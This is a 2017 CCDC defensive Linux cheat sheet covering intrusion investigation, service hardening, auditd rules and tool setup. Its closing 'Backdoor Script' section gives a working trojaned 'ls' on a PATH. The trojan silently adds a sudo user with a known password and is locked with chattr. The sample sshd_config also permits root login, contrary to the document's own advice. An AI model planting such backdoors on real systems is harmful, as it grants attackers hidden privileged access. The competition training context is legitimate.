Official Linux Cheat Sheet

2017 State CCDC Edition

Table Of Contents

Table Of Contents **1**

Investigation **2**
- Unusual Accounts 2
- Unusual Log Entries 2
  - Log Locations 3
- Unusual Files 3
- Unusual Processes and Services 4
- Other Unusual Items 4
- Check Hardlinks 4
- Disable Unwanted Services 4

Search **5**
- Find Immutable Files 5
- Find all Authorized Keys 5
- Find All Crontabs 5
- Get list of users that can login 5

Combat **6**
- Killing and Kicking 6

Injects **6**
- Find Hashes 6
- NTP Setup 6
- Inventory Script 6
- Audit Report 6

Hardening **7**
- Securing SSH 7
  - Apply SSH changes: 8
  - Example sshd_config and banner 8
    - sshd_config 8
    - /etc/issue 8
  - SSH Alert 9

Securing MySQL **9**

Securing lightdm.conf **9**

Lock Important Files **9**

Verify Packages **10**

Prevent Fork Bomb **11**

Logging **11**
Auditd.rules 11

Tools **13**
Setting up Samhain 13

Misc **13**
Global Whitelist Sites 13

EMERGENCY PROTOCOL **17**

Investigation

Diagnostic Checklist

Disk space, note that on many distribution by default ~5 of disk space is reserved for root only
df -h
Memory
free -m
Processes
ps ax | wc -l
ps aux | grep “ssh”
top
htop
List arguments passed to program
cat /proc/<PID>/cmdline
File permissions
Make sure your daemon can write anything it needs to
limits, maybe you app wants to create more files than it is allowed by default
log on as user under which daemon runs and issue
ulimits -a
Some service dies? Check its log files
Apache
Determine how many apache threads are running (if you are not using mod_status)
ps -e | grep apache2 | wc -l
Errors (look for 500 errors caused by erroneous code on the server)

cat /var/log/apache2/error.log

High hit rate (Check for MaxClients warningdamn in your apache error logs)

grep MaxClients /var/log/apache2/error.log

Check for bots/spiders, you might need to lower your MaxClients settings

tail -f /var/log/apache2/access.log

Check recent logs

ls -lrt /var/log/

Maybe your service does not write logs in /var/log? Check with

sudo find / -type d \(-wholename '/dev' -o -wholename '/proc' -o -wholename '/sys' \) -prune -o -mmin -10 -print

Check for log rotation issues

Check your cron jobs, if your server is going down at a certain time, this could be result of a cronjob eating up too many resources

ls -la /var/spool/cron/*

ls -la /etc/cron*

Check Kernel Messages

dmesg

Check inodes, not that 5% of disk sp

df -i

If you suspect a DDOS attack (TODO: better use ss, non netstat)

Number of active, and recently torn down TCP sessions

netstat -ant | egrep -i '(ESTABLISHED|WAIT|CLOSING)' | wc -l

Number of sessions waiting for ACK (SYN Flood)

netstat -ant | egrep -i '(SYN)' | wc -l

List listening TCP sockets

netstat -ant | egrep -i '(LISTEN)'

Exim

Count of 'stuck' emails

exim -bpc

Delay, ID, sender & receiver per 'stuck' email

exim -bp

Unusual Accounts

Look in /etc/passwd for new accounts in sorted list by UID:

 # sort –nk3 –t: /etc/passwd | less

Normal accounts will be there, but look for new, unexpected accounts, especially with UID < 500.

Also, look for unexpected UID 0 accounts:

 # egrep ':0+:' /etc/passwd

On systems that use multiple authentication methods:

 # getent passwd | egrep ':0+:'

Look for orphaned files, which could be a sign of an attacker's temporary account that has been deleted.

 # find / -nouser -print

Unusual Log Entries

Look through your system log files for suspicious events, including:

- "entered promiscuous mode"
- Large number of authentication or login failures from either local or remote access tools (e.g., telnetd, sshd, etc.)
- Remote Procedure Call (rpc) programs with a log entry that includes a large number (> 20) strange characters (such as ^PM-^PM-^PM- ^PM-^PM-^PM-^PM-^PM)
- For systems running web servers: Larger than normal number of Apache logs saying "error" Reboots and/or application restarts

Log Locations

/var/log/messages : General message and system related stuff
/var/log/auth.log : Authentication logs
/var/log/kern.log : Kernel logs
/var/log/cron.log : Crond logs (cron job)
/var/log/maillog : Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/ : Apache access and error logs directory
/var/log/lighttpd/ : Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log : MySQL database server log file
/var/log/secure or /var/log/auth.log : Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log : Yum command log file.

Unusual Files

Look for unusual SUID root files:
find / -uid 0 –perm -4000 –print

This requires knowledge of normal SUID files.

Look for unusual large files (greater than 10 MegaBytes):
find / -size +10000k –print

This requires knowledge of normal large files

Look for files named with dots and spaces ("...", ".. ", ". ", and " ") used to camouflage files:
find / -name " " –print
find / -name ".. " –print
find / -name ". " –print
find / -name " " –print
Look for files that have been chattr-ed
#lsattr | grep “...i”

Unusual Processes and Services

Look at all running processes:

 # ps –aux

Get familiar with "normal" processes for the machine. Look for unusual processes. Focus on processes with root (UID 0) privileges.

If you spot a process that is unfamiliar, investigate in more detail using:

 # lsof –p [pid]

This command shows all files and ports used by the running process.

This command shows you which services are running on which ports
netstat -npl

If your machine has it installed, run chkconfig to see which services are enabled at various runlevels:
 # chkconfig --list
OR
systemctl list-unit-files --type=service | grep enabled
And then to disable: **systemctl disable service_name**

Other Unusual Items

Sluggish system performance:

$ uptime – Look at "load average"

Excessive memory use: ***$ free***
Sudden decreases in available disk space:

$ df

Check Hardlinks

sudo ls –l /etc/passwd
If number is above 1, there are hardlinks
sudo ls –l /etc/shadow

Disable Unwanted Services

chkconfig --list | grep '3:on'

To disable:

service serviceName stop
chkconfig serviceName off

Search

Find Immutable Files

find /sbin/ | xargs -I file lsattr -a file 2>/dev/null | grep '^....i'

Find all Authorized Keys

https://github.com/berke1337/public_ccdc/blob/master/ssh-key-list.sh

```
#!/bin/bash
for X in $(cut -f6 -d ':' /etc/passwd |sort |uniq); do
   if [ -s "${X}/.ssh/authorized_keys" ]; then
      echo "### ${X}: "
      cat "${X}/.ssh/authorized_keys"
      echo ""
   fi
done
```

Find All Crontabs

https://github.com/JaminB/CCDC/blob/master/checkCrontab.sh

```
for user in `cat /etc/passwd | cut -d ":" -f 1`; do
      cron=$(sudo -u $user crontab -l 2> /dev/null| grep -v "#")
```

```
        if [ "$cron" ]; then
                echo "$user"
                echo "$cron"
        fi
Done
```

Get list of users that can login

sudo awk -F':' '$2 ~ "\$" {print $1}' /etc/shadow

Combat

Killing and Kicking

kill -9 `lsof -t -u user`

Injects

Find Hashes

find / -type f -perm /u=x,g=x,o=x -exec md5sum {} \; >> example.txt;

NTP Setup

yum install ntp
chkconfig ntpd on
nano /etc/ntp.conf

Inventory Script

```
#!/bin/bash
sudo touch inv_check.txt
sudo chmod 755 inv_check.txt
sudo uname -a >> inv_check.txt
sudo hostname >> inv_check.txt
sudo nmap 192.168.1.182 >> inv_check.txt
sudo cat /etc/passwd >> inv_check.txt
```

Audit Report

aureport --summary

Bind9 DNS

Monday, January 23, 2017
12:11 PM

- Installing Bind9
    - sudo apt-get install bind9

- Static IP and Set Itself to DNS
    - sudo vi /etc/network/interfaces
    - *set*:
        - auto eth0
        - iface eth0 inet static
        - address _____ (ex. 10.0.2.15)
        - netmask 255.0.0.0
        - dns-nameservers 127.0.0.1

- Add Forwarders
    - sudo vi /etc/bind/named.conf.options
    - *set*:
        - forwarders {
        - 8.8.8.8;
        - 8.8.4.4;
        - };

- Setting Local Configuration
    - sudo vi /etc/bind/named.conf.local
    - *add*:
        - zone "ubuntu.local" {
        - type master;
        - file "/etc/bind/db.ubuntu.local";
        - };

- Setting up db.ubuntu.local
    - cp /etc/bind/db.empty /etc/bind/db.ubuntu.local
    - sudo vi /etc/bind/db.ubuntu.local
    - *change* ubuntu.local.
    - *add* IN A _____ (ex. 10.0.2.15)

    - sudo systemctl reload bind9
    - Example Config:

Apache

Monday, January 23, 2017
8:20 AM

- Installing Apache Server
    - Sudo apt-get install apache2

- 2 Main Configuration Files
    - /etc/httpd/conf/httpd.conf (RHEL/CentOS/Fedora)
    - /etc/apache2/apache2.conf (Debian/Ubuntu)

- Log File Locations
    - /var/log/httpd/access_log
    - /var/log/httpd/error_log

- Hiding OS Info on Error

- Turn off Directory Listing
    - sudo vi /etc/httpd/conf/apache2.conf
    - *edit*:
        - <Directory /var/www/html>
        - Options -Indexes
        - </Directory>
    - sudo systemctl restart apache2

- Check Apache Version/Update
    - httpd -v
    - sudo apt-get install apache2

- Run Apache as Separate User and Group
    - sudo groupadd http-web
    - sudo useradd -d /var/www -g http-web -s /bin/nologin http-web
    - sudo vi /etc/apache/apache2.conf
    - *edit* User http-web
    - *edit* Group http-web

- Restrict Access
    - sudo vi /etc/apache/apach2.conf

    - *add*:
        - <Directory />
        - Options None
        - Order deny, allow
        - Deny from all
        - </Directory>

- Disable Symbolic Links
    - sudo vi /etc/apache/apache2.conf
    - *add* Options -FollowSymLinks
        - (Options +FollowSymLinks enables)

- Disable SSI and CGI
    - sudo vi /etc/apache/apache2.conf
    - *add* Options -Includes (+Includes enables)
    - *add* Options -ExecCGI

Hardening

Securing SSH

EMERGENCY MODE: service sshd stop
(service sshd start) - turns ssh back on

- Install OpenSSH Server:
    - sudo apt-get install openssh-server

- Allow Specific Users:
    - sudo nano /etc/ssh/sshd_config
    - *add* AllowUsers ___ ___ ___

- Disable Root Login:
    - sudo nano /etc/ssh/sshd_config
    - *edit* PermitRootLogin no

- Log Information:
    - sudo nano /etc/ssh/sshd_config
    - *edit* LogLevel VERBOSE
        - Logs Location: /var/log/auth.log

- Change Port:

    - sudo nano /etc/ssh/sshd_config
    - *edit* Port ___

- Setting a Banner:
    - sudo nano /etc/issue
    - *insert desired banner in this file*
    - sudo nano /etc/ssh/sshd_config
    - *edit* Banner /etc/issue
- SSH Config Files
    - /etc/ssh/sshd_config – OpenSSH server configuration file.
    - /etc/ssh/ssh_config – OpenSSH client configuration file.
    - ~/.ssh/ – Users ssh configuration directory.
    - ~/.ssh/authorized_keys or ~/.ssh/authorized_keys2 – Lists the public keys (RSA or
    - DSA) that can be used to log into the user's account
    - /etc/nologin – If this file exists, sshd refuses to let anyone except root log in.
    - /etc/hosts.allow and /etc/hosts.deny : Access controls lists that should be enforced by tcp-wrappers are defined here.
    - SSH default port : TCP 22

Apply SSH changes:

> sudo service sshd restart **OR** /usr/sbin/sshd -t

Example sshd_config and banner

- sshd_config
    - Protocol 2
      AllowUsers root square circle triangle
      ClientAliveInterval 300 //300 seconds = 5 minutes, kicks after inactivity
      ClientAliveCountMax 0
      IgnoreRhosts yes
      HostbasedAuthentication no
      PermitRootLogin yes
      Banner /etc/issue
      PermitEmptyPasswords no
      LogLevel INFO
      # Turn on privilege separation
      UsePrivilegeSeparation yes
      # Prevent the use of insecure home directory and key file permissions
      StrictModes yes
      # Turn on reverse name checking
      VerifyReverseMapping yes

```
# Do you need port forwarding?
AllowTcpForwarding no
X11Forwarding no
#  Specifies whether password authentication is allowed.  The default is yes.
PasswordAuthentication no

Reload changes = /usr/sbin/sshd -t
```

- /etc/issue
  - ```
    **********************************************************************
    *                                                                    *
    * This system is for the use of authorized users only.  Usage of     *
    * this system may be monitored and recorded by system personnel.     *
    *                                                                    *
    * Anyone using this system expressly consents to such monitoring     *
    * and is advised that if such monitoring reveals possible            *
    * evidence of criminal activity, system personnel may provide the    *
    * evidence from such monitoring to law enforcement officials.        *
    *                                                                    *
    **********************************************************************
    ```

SSH Alert

#!/bin/bash \n REMOTEIP=$(/bin/echo $SSH_CLIENT | /usr/bin/awk '{ print $1 }'); \n TIME=$(/bin/date +'%r, %D'); \n HOST=$(/bin/hostname -f); \n wall “User $USER just logged in to $HOST at $TIME from $REMOTEIP”

Securing MySQL

ls -alu /var/lib

"

…

drwx------ 5 mysql mysql 4096 Apr 28 19:32 mysql

drwx------ 2 mysql mysql 4096 Apr 28 19:33 mysql-files

drwx------ 2 mysql mysql 4096 Apr 28 19:33 mysql-keyring

"

chown -R mysql:mysql /var/lib/mysql*
chmod -R go-rwx /var/lib/mysql*
    ```

Also, open the file /etc/passwd and ensure that the line that starts with "mysql" ends with "/bin/false"

Securing lightdm.conf

nano /etc/lightdm/lightdm.conf
Put a # in front of lines containing auto-login + Add allow-guest=false

Lock Important Files

sudo chattr +i /etc/passwd /etc/shadow

Verify Packages

- apt-get
    - apt-get install debsums
    - debsums_init
    - debsums -ca
- rpm
    - rpm -Va
      rpm -qa | xargs rpm --verify --nomtime | less

      Example output:
      missing /usr/local/src
      .M..... /bin/ping6
      .M..... /usr/bin/chage
      .M..... /usr/bin/gpasswd
      ....L... c /etc/pam.d/system-auth
      .M..... /usr/bin/chfn
      .M..... /usr/bin/chsh
      S.5..... c /etc/rc.d/rc.local
      S.5..... c /etc/sysctl.conf
      S.5..... c /etc/ssh/sshd_config
      S.5..... c /etc/updatedb.conf

      The flags mean:
      c %config configuration file.
      d %doc documentation file.
      g %ghost file (i.e. the file contents are not
      included in the package payload).
      l %license license file.
      r %readme readme file.

S file Size differs
M Mode differs (includes permissions and file type)
5 MD5 sum differs
D Device major/minor number mismatch
L readLink(2) path mismatch
U User ownership differs
G Group ownership differs
T Time differs

- yum
    - nano /etc/yum.conf
        - "plugins=1"
    - yum install yum-plugin-verify
    - yum verify-all OR yum verify command

Prevent Fork Bomb

/etc/security/limits.conf

Add these lines

tp hard nproc 300
@student hard nproc 50
@faculty soft nproc 100
@pusers hard nproc 150

The above command describes that, tp user has only 300 processes, the student group has 50 processes, similarly the faculty group consists of 100 process and pusers group will have 150 processes. If the limit is overloaded, then Linux system automatically terminates the extra processes. Now save and exit from limits.conf file.

Logging

Auditd.rules

https://raw.githubusercontent.com/berke1337/public_ccdc/master/auditd.rules

/etc/audit/audit.rules

available keys: ps, critical, high, medium, low
ps: process creation, fork, and network access. For forensic use.

```
# critical: needs urgent attention, needs to be monitored at all times
# high: highly suspicious behavior, should be regularly monitored
# medium: suspicious behavior, look at this when time allows
# low: important events that do not need to be monitored but important enough to log for later investigation in case of compromise

# Delete any pre existing rules before starting to define new ones.
-D

# Set the number of buffers to take the audit messages. Depending on the level of audit logging on your system, increase or decrease this figure.
-b 8192

# Set the failure flag to use when the kernel needs to handle critical errors. Possible values are 0 (silent), 1 (printk, print a failure message), and 2 (panic, halt the system).
-f 2

# watch forks and network activity under key ps
-a always,exit -F arch=b64 -S execve -S vfork -S fork -S clone -S exit -S exit_group -S connect -S bind -S sendto -k ps
-a always,exit -F arch=b32 -S execve -S vfork -S fork -S clone -S exit -S exit_group -S socketcall -k ps

# Enable an audit context for any linking operation, such as symlink, link, unlink, or rename.
-a always,exit -F arch=b64 -S unlink -S rename -S link -S symlink  -k high
-a always,exit -F arch=b32 -S unlink -S rename -S link -S symlink  -k high

# Enable an audit context for any operation related to extended file system attributes.
-a always,exit -F arch=b64 -S setxattr -k high
-a always,exit -F arch=b64 -S lsetxattr -k high
-a always,exit -F arch=b64 -S fsetxattr -k high
-a always,exit -F arch=b64 -S removexattr -k high
-a always,exit -F arch=b64 -S lremovexattr -k high
-a always,exit -F arch=b64 -S fremovexattr -k high
# Same for 32bit
-a always,exit -F arch=b32 -S setxattr -k high
-a always,exit -F arch=b32 -S lsetxattr -k high
-a always,exit -F arch=b32 -S fsetxattr -k high
-a always,exit -F arch=b32 -S removexattr -k high
-a always,exit -F arch=b32 -S lremovexattr -k high
-a always,exit -F arch=b32 -S fremovexattr -k high

# Enable an audit context for the mknod system call, which creates special (device) files.
```

```
-a always,exit -F arch=b64 -S mknod -k high

# More high impact watches
-w /etc/passwd -p wa -k critical
-w /etc/shadow -k critical
-w /etc/group -p wa -k critical
-w /etc/sudoers -k low
-w /etc/sudoers.d/ -k low
-w /etc/sudoers -p wa -k critical
-w /etc/sudoers.d/ -p wa -k critical

# More medium impact watches
-w /bin/ -p wa -k medium
-w /boot/ -p wa -k medium
-w /etc/ -p wa -k medium
-w /lib/ -p wa -k medium
-w /opt/ -p wa -k medium
-w /root/ -p wa -k medium
-w /sbin/ -p wa -k medium
-w /srv/ -p wa -k medium
-w /usr/ -p wa -k medium

# no executables in /tmp/
-w /tmp/ -p x -k high

# Adjust those lines to the system at hand!
# make sure not to include dirs for cache files
-w /var/www/ -p wa -k medium
```

Tools

Setting up Samhain

wget http://la-samhna.de/samhain/samhain-current.tar.gz

```
$ gunzip samhain-current.tar.gz
  $ tar -xf samhain-current.tar
$ ./configure [options]
  $ make
  $ make install
```

Fail2ban

Rkhunter

```
apt-get update && apt-get install git
```

After the installation of git has completed we are now ready to clone the Artillery packages.

```
git clone https://github.com/trustedsec/artillery/ artillery/
```

Now we can move to the Artillery directory and launch the installer.

```
cd /artillery
./setup.py
```

You will be given three prompts during installation that require y/n answers. Go ahead and answer yes to each. Note that you may encounter an error at the end of installation saying that /var/artillery/database/temp.database does not exist. If you encounter this error the following commands will fix the issue.

```
mkdir /var/artillery/database
touch /var/artillery/database/temp.database
service artillery restart
```

Configuring Artillery

We now have a functional installation of Artillery. Out of the box, Artillery is pre-configured for typical Linux installations, but it is highly recommended to customize

the configurations to suit the needs of your individual VPS. We will walk you through editing the config file now.

Open the config file with nano.

```
nano /var/artillery/config
```

Changing the following line enables file system monitoring for custom directories:

```
MONITOR_FOLDERS="/var/www","/etc"
```

Simply add any directories you wish to have monitored following "/etc". For example, if you would like to monitor /root, you would add ,"/root". The end result would look like this.

```
MONITOR_FOLDERS="/var/www","/etc","/root"
```

The EXCLUDE entry allows you to specify folders or files that SHOULD NOT be monitored. If you do not wish for /etc/passwd to be monitored for instance, you would change the entry as follows:

```
EXCLUDE=/etc/passwd
```

You can also whitelist IP addresses as needed. This is useful if you are part of a team that accesses the virtual server and you do not wish to have anyone banned for failing to enter a correct SSH password 4 times. It is recommended to whitelist at least your own IP address if you plan on running automated port or vulnerability scanners against

your droplet as doing so will cause a ban and you will no longer be able to connect. By default loopback addresses are whitelisted, to add additional IP's simply enter a comma and then the IP like so:

```
WHITELIST_IP=127.0.0.1,localhost,xxx.xxx.xxx.xxx <-Replace the x's with your IP address.
```

Additionally, you can specify ports that the honeypot should report as open. As previously mentioned the honeypot is configured by default to spawn the honeypot on the most commonly attacked ports, but if you feel it necessary you can add additional ports by adding comma separated entries. To add ports 1024, and 139 you would change the following line:

```
PORTS="135,445,22,1433,3389,8080,21,5900,25,53,110,1723,1337,10000,5800,44443"
```

to

```
PORTS="135,445,22,1433,3389,8080,21,5900,25,53,110,1723,1337,10000,5800,44443,1024"
```

It is recommended to enable automatic updates by changing the value of auto_update to on.

```
AUTO_UPDATE=ON
```

By default, Artillery is configured to attempt to mitigate DoS (Denial of Service) attacks against ports 80 (http) and 443 (https). If your droplet runs web services on other ports

(8080,8180,10000), you can enable DoS protection on those ports as well by adding the ports, comma separated.

```
ANTI_DOS_PORTS=80,443,8080,8180,10000
```

If you wish to disable DoS protection, simply change the value of ANTI_DOS to off.

```
ANTI_DOS=ON
```

Maintenance of Artillery

Artillery is designed to run as a service after installation. During the installation, Artillery starts itself so there is no need for a server restart.

Artillery will start itself on each reboot of your droplet, providing constant protection in the background.

Much like Apache, Artillery can be started and restarted as a service by running the following commands:

```
service artillery start   # <-Starts the service.
service artillery restart # <-Restarts the service.
```

You can also check the current system resource usage of Artillery with ps aux and top as follows:

Take note of the Process ID Artillery is running as.

```
ps aux | grep artillery
```

Replace PID with Artillery's process ID.

```
top -p PID
```

It is important to note that if a user fails to supply a correct SSH password 4 times in a row, they will be banned and can no longer connect to the server. If this happens and an authorized user has been banned, Artillery includes a script to reset bans. The script usage is:

Move to the artillery directory

```
cd /var/artillery
```

Replace the x's with the ip of the banned user.

```
./reset-bans.py xxx.xxx.xxx.xxx
```

We should now have a working installation of Artillery configured to your needs. Artillery is light on system resources so should not need to upgrade CPU/Memory on your droplet to accommodate it. Also note that for the sake of brevity we did not cover every entry in the config file; instead we covered the most common and important entries. Feel free to experiment and see what configuration options work best for you.

Misc

General Notes

Wednesday, January 25, 2017
11:05 PM

- CHANGE DEFAULT PASSWORDS
- File Permission Numbers
    - 4 = r
    - 2 = w
    - 1 = x
- Check crontab
    - crontab -l
        - lists cron jobs
    - crontab -r
        - removes cron jobs
- Breathe
- Check aliases
    - unalias alias
- Environment Variables
    - printenv
    - printenv | less
- Check Chattr
    - lsattr /file/path
- Stay Calm
- Check History Command
    - history

Global Whitelist Sites

https://raw.githubusercontent.com/berke1337/public_ccdc/master/wrccdc2015-global-whitelist.txt

10minutemail.com	akamai.net	apple.com
7-zip.org	akamaiedge.net	aqtronix.com
about.com	akamaihd.net	archlinux.org
acquia.com	altn.com	askubuntu.com
adobe.com	ambuships.com	asp.net
afreserve.com	apache.org	atomicorp.com

attacktest.com
avast.com
avg.com
avira.com
backtrack-linux.org
beasys.com
bestpractical.com
bind9.net
bitdefender.com
bitly.com
blackberry.com
blazix.com
bleepingcomputer.com
boeing.com
bro.org
catoverflow.com
cedricpernet.net
centos.org
cgssecurity.org
cherokee-project.com
cherrypy.org
chiark.greenend.org.uk
chromium.org
cias.utsa.edu
cirt.net
cisco.com
citrix.com
clamav.net
clamwin.com
clients1.google.com
cnet.com
code.google.com
codeplex.com
comodo.com
configuresoft.com
controlscan.com
coreftp.com
coresecurity.com
cplusplus.com
cr.yp.to
crimestar.com
crushftp.com
crushftp.net
crypto.cat
cssia.org
cups.org
cyberciti.biz
cyberpanoply.com
czsolution.com
da.gd
daemon-tools.cc
debian.oregonstate.edu
debian.org
deepburner.com
dell.com
deloitte.com
dhs.gov
die.net
disc-tools.com
distrowatch.com
djangoproject.com
dl.google.com
dlc.sun.com.edgesuite.net
dlink.com
dnssec.com
dnssec.net
doc.state.nc.us
docs.google.com
documentfoundation.org
doge2048.com
dogoverflow.com
dokuwiki.org
doubleclick.com
doubleclick.net
dovecot.com
downloadmoreram.com
drupal.org
duckduckgo.com
dw.com.com
dw.gd
edgekey.net
edugeek.net
emergingthreats.net
eset.com
exim.org
experts-exchange.com
exploit-db.com
facebook.com
fbcdn.com
fbi.gov
fedoraforum.org
fedoraforums.org
fedoraproject.org
fgdump.net
filehippo.com
filezilla-project.org
fireeye.com
firstdata.com
fixunix.net
foofus.net
freebsd.org
fsdn.com
fsf.org
ftp.us.debian.org
garr.it
gentoo.org
github.com
github.global.ssl.fastly.net
github.io
glastopf.org
gliffy.com
gmer.net
gnome.org
gnu.org
goldmansachs.com
google.com
googleadservices.com
googleapis.com
googlesyndication.com
googleusercontent.com
gravitar.com
greenbone.net
groundlabs.com
grsecurity.net
gstatic.com
hackertyper.net
hashcat.net
haxx.se
hiawatha-webserver.org

honeyd.org
honeynet.org
howtoforge.com
howtogeek.com
hp.com
http.us.debian.org
ibm.com
id.google.com
igniterealtime.org
iis.net
imailserver.com
imgburn.com
imgur.com
infrarecorder.org
insecure.org
iobit.com
isc.org
java.com
joomla.org
jquery.com
js-agent.newrelic.com
juniper.com
juniper.net
kali.com
kali.org
kaspersky.com
kde.org
kerio.com
kernel.org
kernelnewbies.org
l0phtcrack.com
la-samhna.de
lavasoft.com
libreoffice.org
lifewithqmail.com
lightspeedtech.com
lighttpd.net
linksys.com
linode.com
linuxfromscratch.org
linuxmint.com
linuxplanet.com
linuxquestions.org
live.com
lkml.org
logmein.com
losenolove.com
lotus.com
maccdc.org
macromedia.com
mageia.org
mail.com
mailenable.com
mailinator.com
majorgeeks.com
malwarebytes.org
mandriva.com
mantisbt.org
mariadb.org
mate-desktop.org
mbamupdates.com
mbamupdates.org
mcafee.com
mepis.org
mertsarica.com
metasploit.com
microsoft.com
microsoftstore.com
mil
milestonesystems.com
modsecurity.org
mongodb.org
mozilla.net
mozilla.org
msdn.com
msexchange.org
mysql.com
nationalccdc.org
nccdc.allalla.com
nccdc.freeiz.com
neccdc.net
nessus.org
netbsd.org
netfilter.org
netgear.com
netscreen.com
nginx.org
ninite.com
nist.gov
nlnetlabs.nl
nmap.org
nomachine.com
notepad-plus-plus.com
novell.com
nsslabs.com
ogp.me
omnisecu.com
openbsd.org
opencsw.org
openindiana.org
openindiana.org/
openinfosecfoundation.org
openoffice.org
openssh.org
opensuse.org
openvas.org
openvpn.net
openvpn.org
openvz.org
openwall.com
openwrt.org
opera.com
oracle.cdn
oracle.com
osix.net
ossec.net
osticket.com
otteroverflow.com
outlook.com
owasp.org
oxid.it
packetlife.net
packetstormsecurity.com
packetstormsecurity.net
packetstormsecurity.org
pandora.com
pcicomplianceguide.org
pcisecuritystandards.org
pclinuxos.com

pcmag.com
pctools.com
pcworld.com
pendrivelinux.com
perl.org
pfsense.org
php.net
piriform.com
pkg.openindiana.org
plop.at
pogostick.net
portableapps.com
portableupdate.com
postfix.org
postgresql.org
prccdc.org
privacyware.com
privatefirewall.com
proftpd.org
projecthoneyport.org
proxmox.com
python.org
qmail.org
qualys.com
quearltinc.com
radiantlogic.com
rapid7.com
raspberrypi.org
realvnc.com
redhat.com
redsrci.com
riverbed.com
roundup-tracker.org
s-microsoft.com
s-msft.com
sabayon.org
safer-networking.org
salix.hostingxtreme.com
salmonlinux.com
samba.org
sans.org
sb.scorecardresearch.com
scriptjunkie.us
seccdc.org
seclists.org
sectools.org
secure.footprint.net
security-24-7.com
security.appspot.com
securityfocus.com
selinuxproject.org
sendmail.com
server-world.info
serverfault.com
shrew.net
simpledns.com
slackel.gr
slackware.com
slackware.org
slackware.org.uk
slashdotmedia.com
snapfiles.com
snort.org
softonic.com
softpedia.com
sophos.com
sourceforge.com
sourceforge.net
southwestccdc.org
speedtest.net
spiceworks.com
splunk.com
spybotupdates.com
sqlite.org
squid-cache.org
sstatic.net
stackexchange.com
stackoverflow.com
startpage.com
static.parastorage.com
static.wix.com
static.wixstatic.com
sun.com
superuser.com
support.google.com
suricata-ids.org
surveymonkey.com
suse.com
symantec.com
sysinternals.com
systemtools.com
systemtools.net
tcpdump.org
technet.com
techrepublic.com
tenable.com
testmy.net
the.earth.li
thekelleys.org.uk
thestanthonyhotel.com
tigntvnc.com
tizag.com
tldp.org
tomshardware.com
trinityhome.org
tripwire.com
trustwave.com
tucows.com
turnkeylinux.org
twimg.com
twistedmatrix.com
twitter.com
ubuntu.com
ubuntuforums.org
unix.com
us-cert.gov
uscyberpatriot.org
usgs.gov
uvnc.com
videolan.org
virt-manager.org
virtualbox.com
virtualbox.org
virtualccdc.com
vmware.com
volatilesystems.com
vsphereclient.vmware.com
w3schools.com
walmart.com

watchguard.com
webmin.com
wftpserver.com
wikihow.com
wikimedia.org
wikipedia.org
windowsecurity.com
windowsupdate.com
winpcap.org
wippien.com
wireshark.org
wolframalpha.com
wordpress.org
wrccdc.org
wrccdc.secure
wsgi.org
wsusoffline.net
www.ask.com
www.bing.com
www.earth.li
www.google.com
www.sunfreeware.com
www.yahoo.com
xanda.org
xen.org
xfce.org
yahoo.com
yandex.com
yastatic.net
yimg.com
youtube.com
ytimg.com
zdnet.com
zen-cart.com
zencart.com
zonealarm.com

EMERGENCY PROTOCOL

In the case of an emergency, remain calm while slamming your head into the keyboard.

By adding busybox, you can have your own toolkit of commands to use!

wget https://busybox.net/downloads/binaries//1.21.1/busybox-x86_64
OR
wget https://busybox.net/downloads/binaries//1.21.1/busybox-i686

Backdoor Script

Wednesday, January 25, 2017
10:07 PM

- **Set the PATH Variable**
  - **export PATH=/media:$PATH**
- **Create File Called "ls"**
  - **sudo touch /media/ls**
- **Make File Executable**
  - **sudo chmod 755 /media/ls**
- **Script**
  - **sudo vi /media/ls**

```
#!/bin/bash

#sudo userdel -rf test 2>/dev/null
#can use the above for stealth but no sudo access
sudo passwd branch -u &>/dev/null
sudo useradd -m -G sudo -s /bin/bash branch 2>/dev/null
sudo echo branch:password | sudo chpasswd 2>/dev/null
```

/bin/ls

- **Chattr the File**
    - **Sudo chattr +i /media/ls**
- **Laugh maniacally**